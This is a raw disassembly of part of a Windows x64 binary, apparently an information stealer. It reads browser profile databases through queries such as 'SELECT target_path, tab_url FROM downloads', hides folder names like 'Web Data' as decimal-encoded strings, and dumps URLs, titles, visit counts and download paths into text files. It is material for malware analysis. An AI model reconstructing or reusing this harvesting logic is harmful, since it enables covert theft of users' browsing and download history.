lea rcx, [rsp + 0x1820]
call fcn.14005d8e0
nop
mov r8, rax
lea rdx, [0x140361710]
lea rcx, [rsp + 0x2da0]
call fcn.140055e90
nop
lea rcx, [rsp + 0x1820]
call fcn.1400067f0
lea rdx, [rsp + 0x2da0]
lea rcx, [rsp + 0xa50]
call fcn.1400548a0
nop
lea rcx, [rsp + 0xa50]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0xa50]
call fcn.1400067f0
test bl, bl
jne 0x14002bc38
lea rdx, [rsp + 0x2da0]
lea rcx, [rsp + 0xa30]
call fcn.1400548a0
nop
lea rcx, [rsp + 0xa30]
call fcn.14000a350
nop
lea rcx, [rsp + 0xa30]
call fcn.1400067f0
lea rcx, [rsp + 0x2ef8]
call fcn.140049040
nop
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
lea r8, [0x1402f6138]
lea rdx, [rsp + 0x2da0]
test al, al
je 0x14002bce9
lea rcx, [rsp + 0x17c0]
call fcn.140055d00
nop
lea r8, [rsp + 0x2968]
mov rdx, rax
lea rcx, [rsp + 0x17e0]
call fcn.140055f00
nop
lea r8, str._Default.txt
mov rdx, rax
lea rcx, [rsp + 0x1800]
call fcn.140055e20
mov rdx, rax
lea rcx, [rsp + 0x2ef8]
call fcn.140048fa0
lea rcx, [rsp + 0x1800]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x17e0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x17c0]
jmp 0x14002bda8
lea rcx, [rsp + 0x1720]
call fcn.140055d00
nop
lea r8, [rsp + 0x2968]
mov rdx, rax
lea rcx, [rsp + 0x1740]
call fcn.140055f00
nop
lea r8, [0x1402f9094]
mov rdx, rax
lea rcx, [rsp + 0x1760]
call fcn.140055e20
nop
lea r8, [rsp + 0x2c40]
mov rdx, rax
lea rcx, [rsp + 0x1780]
call fcn.140055f00
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x17a0]
call fcn.140055e20
mov rdx, rax
lea rcx, [rsp + 0x2ef8]
call fcn.140048fa0
lea rcx, [rsp + 0x17a0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1780]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1760]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1740]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1720]
call fcn.1400067f0
lea rcx, [rsp + 0x39f0]
call fcn.140032140
mov r8d, 8
lea rdx, [rsp + 0x2ef8]
lea rcx, [rsp + 0x39f0]
call fcn.140041270
nop
cmp qword [rsp + 0x3a78], 0
je 0x14002c374
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
je 0x14002c2d5
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0xa10]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xa10]
lea rcx, [rsp + 0x1700]
call fcn.140026ec0
mov rdx, rax
mov rcx, r15
call fcn.140057990
movzx ebx, al
lea rcx, [rsp + 0x1700]
call fcn.140049640
nop
lea rcx, [rsp + 0xa10]
call fcn.140049640
test bl, bl
jne 0x14002c2d5
lea rcx, [rsp + 0x39f0]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x2ef8]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2da0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x30f0]
call fcn.140049640
nop
xor r14d, r14d
mov rcx, qword [rsp + 0x2708]
call fcn.140167240
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x2708]
mov r8d, 0xffffffff
lea rdx, str.SELECT_target_path__tab_url_FROM_downloads
mov rcx, qword [rsp + 0x2718]
call fcn.1401843e0
test eax, eax
je 0x14002c0a0
mov rcx, qword [rsp + 0x2718]
call fcn.1401813e0
nop
lea rcx, [rsp + 0x2a18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a98]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ba8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2c40]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3380]
call fcn.140041710
nop
lea rcx, [rsp + 0x29c0]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x2988]
call fcn.140045c30
nop
lea rcx, [rsp + 0x2ab8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3130]
call fcn.140010e70
nop
lea rcx, [rsp + 0x29d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2918]
call fcn.140045a90
nop
lea rcx, [rsp + 0x34b0]
call fcn.140013570
nop
lea rcx, [rsp + 0x2a78]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a38]
call fcn.140049640
nop
lea rcx, [rsp + 0x2af8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ad8]
call fcn.140049640
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2968]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
lea rcx, [rsp + 0x28f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b38]
call fcn.140049640
nop
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
jmp 0x14002f217
mov rcx, qword [rsp + 0x2708]
call fcn.140185040
cmp eax, 0x64
jne 0x14002c579
xor edx, edx
mov rcx, qword [rsp + 0x2708]
call fcn.140185630
mov rdi, rax
mov edx, 1
mov rcx, qword [rsp + 0x2708]
call fcn.140185630
mov rsi, rax
test rdi, rdi
je 0x14002c0a0
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rdi + rcx], 0
jne 0x14002c0f0
test rcx, rcx
je 0x14002c0a0
test rsi, rsi
je 0x14002c0a0
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x14002c110
test rax, rax
je 0x14002c0a0
lea rdx, str.92_68_111_119_110_108_111_97_100_115
lea rcx, [rsp + 0x9f0]
call fcn.140025de0
nop
lea rdx, [rsp + 0x9f0]
lea rcx, [rsp + 0x3070]
call fcn.140023cc0
nop
lea rcx, [rsp + 0x9f0]
call fcn.1400067f0
lea rdx, [rsp + 0x548]
lea rcx, [rsp + 0x3070]
call fcn.140049440
mov rbx, qword [rax]
lea rdx, [rsp + 0x4c8]
lea rcx, [rsp + 0x3070]
call fcn.140025dc0
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x16e0]
call fcn.14005d8e0
nop
mov r8, rax
lea rdx, [0x140361710]
lea rcx, [rsp + 0x2dc0]
call fcn.140055e90
nop
lea rcx, [rsp + 0x16e0]
call fcn.1400067f0
lea rdx, [rsp + 0x2dc0]
lea rcx, [rsp + 0x9d0]
call fcn.1400548a0
nop
lea rcx, [rsp + 0x9d0]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0x9d0]
call fcn.1400067f0
test bl, bl
jne 0x14002c224
lea rdx, [rsp + 0x2dc0]
lea rcx, [rsp + 0x9b0]
call fcn.1400548a0
nop
lea rcx, [rsp + 0x9b0]
call fcn.14000a350
nop
lea rcx, [rsp + 0x9b0]
call fcn.1400067f0
lea rcx, [rsp + 0x2f18]
call fcn.140049040
nop
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
lea r8, [0x1402f6138]
lea rdx, [rsp + 0x2dc0]
test al, al
je 0x14002c3cd
lea rcx, [rsp + 0x1680]
call fcn.140055d00
nop
lea r8, [rsp + 0x2968]
mov rdx, rax
lea rcx, [rsp + 0x16a0]
call fcn.140055f00
nop
lea r8, str._Default.txt
mov rdx, rax
lea rcx, [rsp + 0x16c0]
call fcn.140055e20
mov rdx, rax
lea rcx, [rsp + 0x2f18]
call fcn.140048fa0
lea rcx, [rsp + 0x16c0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x16a0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1680]
jmp 0x14002c48c
lea rdx, str.URL_:
lea rcx, [rsp + 0x39f0]
call fcn.140056430
mov rdx, rdi
mov rcx, rax
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.TITLE_:
lea rcx, [rsp + 0x39f0]
call fcn.140056430
mov rdx, rsi
mov rcx, rax
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.VISIT_COUNT_:
lea rcx, [rsp + 0x39f0]
call fcn.140056430
mov rdx, r14
mov rcx, rax
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.__________________________________
lea rcx, [rsp + 0x39f0]
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rcx, [rsp + 0x39f0]
call fcn.1400411d0
nop
lea rcx, [rsp + 0x39f0]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x2ef8]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2da0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x30f0]
call fcn.140049640
nop
jmp 0x14002baa5
lea rcx, [rsp + 0x15e0]
call fcn.140055d00
nop
lea r8, [rsp + 0x2968]
mov rdx, rax
lea rcx, [rsp + 0x1600]
call fcn.140055f00
nop
lea r8, [0x1402f9094]
mov rdx, rax
lea rcx, [rsp + 0x1620]
call fcn.140055e20
nop
lea r8, [rsp + 0x2c40]
mov rdx, rax
lea rcx, [rsp + 0x1640]
call fcn.140055f00
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x1660]
call fcn.140055e20
mov rdx, rax
lea rcx, [rsp + 0x2f18]
call fcn.140048fa0
lea rcx, [rsp + 0x1660]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1640]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1620]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1600]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x15e0]
call fcn.1400067f0
lea rcx, [rsp + 0x3b00]
call fcn.140032140
mov r8d, 8
lea rdx, [rsp + 0x2f18]
lea rcx, [rsp + 0x3b00]
call fcn.140041270
nop
cmp qword [rsp + 0x3b88], 0
je 0x14002c6cc
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
je 0x14002c654
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0x990]
call fcn.1400122d0
nop
lea rdx, [rsp + 0x990]
lea rcx, [rsp + 0x15c0]
call fcn.140026ec0
mov rdx, rax
mov rcx, r15
call fcn.140057990
movzx ebx, al
lea rcx, [rsp + 0x15c0]
call fcn.140049640
nop
lea rcx, [rsp + 0x990]
call fcn.140049640
test bl, bl
jne 0x14002c654
lea rcx, [rsp + 0x3b00]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x2f18]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2dc0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3070]
call fcn.140049640
nop
mov rcx, qword [rsp + 0x2708]
call fcn.140167240
mov rcx, qword [rsp + 0x2718]
call fcn.1401813e0
lea rdx, [rsp + 0x2a18]
lea rcx, [rsp + 0x970]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0x970]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0x970]
call fcn.1400067f0
test bl, bl
je 0x14002c5fb
lea rdx, [rsp + 0x2a18]
lea rcx, [rsp + 0x950]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0x950]
call fcn.14000a110
nop
lea rcx, [rsp + 0x950]
call fcn.1400067f0
lea rdi, [0x1402f8dcc]
lea rsi, str.Xa_
mov rdx, qword [rsp + 0x2a30]
cmp rdx, 0xf
jbe 0x14002c72d
inc rdx
mov rcx, qword [rsp + 0x2a18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c728
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f272
jmp 0x14002c728
lea rdx, str.TARGET_PATH_:
lea rcx, [rsp + 0x3b00]
call fcn.140056430
mov rdx, rdi
mov rcx, rax
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.FILE_DOWNLOADED_:
lea rcx, [rsp + 0x3b00]
call fcn.140056430
mov rdx, rsi
mov rcx, rax
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.__________________________________
lea rcx, [rsp + 0x3b00]
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rcx, [rsp + 0x3b00]
call fcn.1400411d0
nop
lea rcx, [rsp + 0x3b00]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x2f18]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2dc0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3070]
call fcn.140049640
nop
jmp 0x14002c0a0
call fcn.140260e60
mov qword [rsp + 0x2a28], r14
mov qword [rsp + 0x2a30], 0xf
mov byte [rsp + 0x2a18], 0
mov rdx, qword [rsp + 0x2ab0]
cmp rdx, 0xf
jbe 0x14002c78c
inc rdx
mov rcx, qword [rsp + 0x2a98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c787
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f278
call fcn.140260e60
mov qword [rsp + 0x2aa8], r14
mov qword [rsp + 0x2ab0], 0xf
mov byte [rsp + 0x2a98], 0
mov rdx, qword [rsp + 0x2bc0]
cmp rdx, 0xf
jbe 0x14002c7eb
inc rdx
mov rcx, qword [rsp + 0x2ba8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c7e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f27e
call fcn.140260e60
mov qword [rsp + 0x2bb8], r14
mov qword [rsp + 0x2bc0], 0xf
mov byte [rsp + 0x2ba8], 0
mov rdx, qword [rsp + 0x2c58]
cmp rdx, 7
jbe 0x14002c84f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2c40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c84a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f284
call fcn.140260e60
mov qword [rsp + 0x2c50], r14
mov qword [rsp + 0x2c58], 7
mov word [rsp + 0x2c40], r14w
lea rcx, [rsp + 0x3380]
call fcn.140041710
add r12, 0x20
jmp 0x14002b051
mov r13, qword [rsp + 0x29c0]
mov rax, qword [rsp + 0x29c8]
mov qword [rsp + 0x60], rax
mov r15d, dword [rsp + 0x40]
mov qword [rsp + 0x28a0], r13
cmp r13, qword [rsp + 0x60]
je 0x14002eb6f
mov r12, r13
mov qword [rsp + 0x48], r13
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x28e8]
sub rax, rcx
cmp rax, 1
jb 0x14002f28a
lea r9, [rsp + 0x28d8]
cmp qword [rsp + 0x28f0], 0xf
cmova r9, qword [rsp + 0x28d8]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x28d8]
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x270]
call fcn.14006c6e0
or r15d, 0x20
mov rdx, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x14002c92f
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
lea rcx, [rsp + 0x270]
call fcn.140049480
xorps xmm0, xmm0
movups xmmword [rsp + 0x29f8], xmm0
mov qword [rsp + 0x2a08], r14
mov qword [rsp + 0x2a10], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x29f8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x2a08], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or r15d, 0x10
mov rdx, qword [rsp + 0x288]
cmp rdx, 0xf
jbe 0x14002c9c8
inc rdx
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c9c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f290
call fcn.140260e60
mov qword [rsp + 0x280], r14
mov qword [rsp + 0x288], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x270], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3400], xmm0
movups xmmword [rsp + 0x3410], xmm0
movups xmmword [rsp + 0x3420], xmm0
movups xmmword [rsp + 0x3430], xmm0
movups xmmword [rsp + 0x3440], xmm0
movups xmmword [rsp + 0x3450], xmm0
movups xmmword [rsp + 0x3460], xmm0
mov qword [rsp + 0x3470], rax
lea rcx, [rsp + 0x3400]
call fcn.140041800
nop
mov r8, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x14002ca45
mov r8, qword [r13]
mov r9, qword [r13 + 0x10]
add r9, r8
lea rdx, [rsp + 0x2c60]
lea rcx, [rsp + 0x3400]
call fcn.14004d670
or r15d, 0x40
xorps xmm0, xmm0
movups xmmword [rsp + 0x29a0], xmm0
mov qword [rsp + 0x29b0], r14
mov qword [rsp + 0x29b8], 0xf
mov byte [rsp + 0x29a0], 0
movups xmmword [rsp + 0x2948], xmm0
mov qword [rsp + 0x2958], r14
mov qword [rsp + 0x2960], 0xf
mov byte [rsp + 0x2948], 0
lea rdx, [rsp + 0x2928]
cmp qword [rsp + 0x2940], 0xf
cmova rdx, qword [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
cmp qword [rsp + 0x2910], 0xf
cmova rcx, qword [rsp + 0x28f8]
mov r8, qword [rsp + 0x2908]
cmp r8, qword [rsp + 0x2938]
jne 0x14002cf00
call fcn.1402a1d20
test eax, eax
jne 0x14002cf00
xorps xmm0, xmm0
movups xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x190], r14
mov qword [rsp + 0x198], r14
lea r8d, [rax + 0x1c]
lea rdx, str.92_87_101_98_32_68_97_116_97
lea rcx, [rsp + 0x180]
call fcn.140012310
nop
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x2d0]
call fcn.140026ec0
nop
lea r8, [rsp + 0x28d8]
cmp qword [rsp + 0x28f0], 0xf
cmova r8, qword [rsp + 0x28d8]
mov r9, qword [rsp + 0x28e8]
xor edx, edx
mov rcx, rax
call fcn.14006c400
xorps xmm0, xmm0
movups xmmword [rsp + 0x160], xmm0
mov qword [rsp + 0x170], r14
mov qword [rsp + 0x178], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x160], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x170], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r15d, 0x10
mov rdx, qword [rsp + 0x29b8]
cmp rdx, 0xf
jbe 0x14002cc06
inc rdx
mov rcx, qword [rsp + 0x29a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002cc01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f296
call fcn.140260e60
movups xmm0, xmmword [rsp + 0x160]
movups xmmword [rsp + 0x29a0], xmm0
movups xmm1, xmmword [rsp + 0x170]
movups xmmword [rsp + 0x29b0], xmm1
mov qword [rsp + 0x170], r14
mov qword [rsp + 0x178], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x160], 0
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x14002cc85
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002cc80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f29c
call fcn.140260e60
mov qword [rsp + 0x2e0], r14
mov qword [rsp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2d0], 0
mov rdx, qword [rsp + 0x198]
cmp rdx, 0xf
jbe 0x14002cce4
inc rdx
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ccdf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f33a
call fcn.140260e60
mov qword [rsp + 0x190], r14
mov qword [rsp + 0x198], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x180], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x1d0], r14
mov qword [rsp + 0x1d8], r14
mov r8d, 0x32
lea rdx, str.92_70_114_101_100_121_95_87_101_98_95_68_97_116_97
lea rcx, [rsp + 0x1c0]
call fcn.140012310
nop
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x2f0]
call fcn.140026ec0
nop
lea r8, [rsp + 0x28d8]
cmp qword [rsp + 0x28f0], 0xf
cmova r8, qword [rsp + 0x28d8]
mov r9, qword [rsp + 0x28e8]
xor edx, edx
mov rcx, rax
call fcn.14006c400
xorps xmm0, xmm0
movups xmmword [rsp + 0x1a0], xmm0
mov qword [rsp + 0x1b0], r14
mov qword [rsp + 0x1b8], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1b0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r15d, 0x11
mov rdx, qword [rsp + 0x2960]
cmp rdx, 0xf
jbe 0x14002ce01
inc rdx
mov rcx, qword [rsp + 0x2948]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002cdfc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f2a2
call fcn.140260e60
movups xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rsp + 0x2948], xmm0
movups xmm1, xmmword [rsp + 0x1b0]
movups xmmword [rsp + 0x2958], xmm1
mov qword [rsp + 0x1b0], r14
mov qword [rsp + 0x1b8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1a0], 0
mov rdx, qword [rsp + 0x308]
cmp rdx, 0xf
jbe 0x14002ce80
inc rdx
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ce7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f2a8
call fcn.140260e60
mov qword [rsp + 0x300], r14
mov qword [rsp + 0x308], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2f0], 0
mov rdx, qword [rsp + 0x1d8]
cmp rdx, 0xf
jbe 0x14002cedf
inc rdx
mov rcx, qword [rsp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ceda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f33a
call fcn.140260e60
mov qword [rsp + 0x1d0], r14
mov qword [rsp + 0x1d8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1c0], 0
jmp 0x14002d2f6
xorps xmm0, xmm0
movups xmmword [rsp + 0xe8], xmm0
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x100], r14
mov r8d, 0x1c
lea rdx, str.92_87_101_98_32_68_97_116_97
lea rcx, [rsp + 0xe8]
call fcn.140012310
nop
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x360]
call fcn.140026ec0
nop
lea r8, [rsp + 0x29f8]
cmp qword [rsp + 0x2a10], 0xf
cmova r8, qword [rsp + 0x29f8]
mov r9, qword [rsp + 0x2a08]
xor edx, edx
mov rcx, rax
call fcn.14006c400
xorps xmm0, xmm0
movups xmmword [rsp + 0x1e0], xmm0
mov qword [rsp + 0x1f0], r14
mov qword [rsp + 0x1f8], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1f0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r15d, 0xf
mov rdx, qword [rsp + 0x29b8]
cmp rdx, 0xf
jbe 0x14002d001
inc rdx
mov rcx, qword [rsp + 0x29a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002cffc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f2ae
call fcn.140260e60
movups xmm0, xmmword [rsp + 0x1e0]
movups xmmword [rsp + 0x29a0], xmm0
movups xmm1, xmmword [rsp + 0x1f0]
movups xmmword [rsp + 0x29b0], xmm1
mov qword [rsp + 0x1f0], r14
mov qword [rsp + 0x1f8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1e0], 0
mov rdx, qword [rsp + 0x378]
cmp rdx, 0xf
jbe 0x14002d080
inc rdx
mov rcx, qword [rsp + 0x360]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d07b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f2b4
call fcn.140260e60
mov qword [rsp + 0x370], r14
mov qword [rsp + 0x378], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x360], 0
mov rdx, qword [rsp + 0x100]
cmp rdx, 0xf
jbe 0x14002d0df
inc rdx
mov rcx, qword [rsp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d0da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f33a
call fcn.140260e60
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x100], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xe8], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], r14
mov qword [rsp + 0x158], r14
mov r8d, 0x32
lea rdx, str.92_70_114_101_100_121_95_87_101_98_95_68_97_116_97
lea rcx, [rsp + 0x140]
call fcn.140012310
nop
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x380]
call fcn.140026ec0
nop
lea r8, [rsp + 0x29f8]
cmp qword [rsp + 0x2a10], 0xf
cmova r8, qword [rsp + 0x29f8]
mov r9, qword [rsp + 0x2a08]
xor edx, edx
mov rcx, rax
call fcn.14006c400
xorps xmm0, xmm0
movups xmmword [rsp + 0x108], xmm0
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x108], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x118], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r15d, 0x12
mov rdx, qword [rsp + 0x2960]
cmp rdx, 0xf
jbe 0x14002d1fc
inc rdx
mov rcx, qword [rsp + 0x2948]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d1f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f2ba
call fcn.140260e60
movups xmm0, xmmword [rsp + 0x108]
movups xmmword [rsp + 0x2948], xmm0
movups xmm1, xmmword [rsp + 0x118]
movups xmmword [rsp + 0x2958], xmm1
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x108], 0
mov rdx, qword [rsp + 0x398]
cmp rdx, 0xf
jbe 0x14002d27b
inc rdx
mov rcx, qword [rsp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d276
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f2c0
call fcn.140260e60
mov qword [rsp + 0x390], r14
mov qword [rsp + 0x398], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x380], 0
mov rdx, qword [rsp + 0x158]
cmp rdx, 0xf
jbe 0x14002d2da
inc rdx
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d2d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f33a
call fcn.140260e60
mov qword [rsp + 0x150], r14
mov qword [rsp + 0x158], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x140], 0
lea rax, [rsp + 0x29a0]
cmp qword [rsp + 0x29b8], 0xf
cmova rax, qword [rsp + 0x29a0]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x29b0]
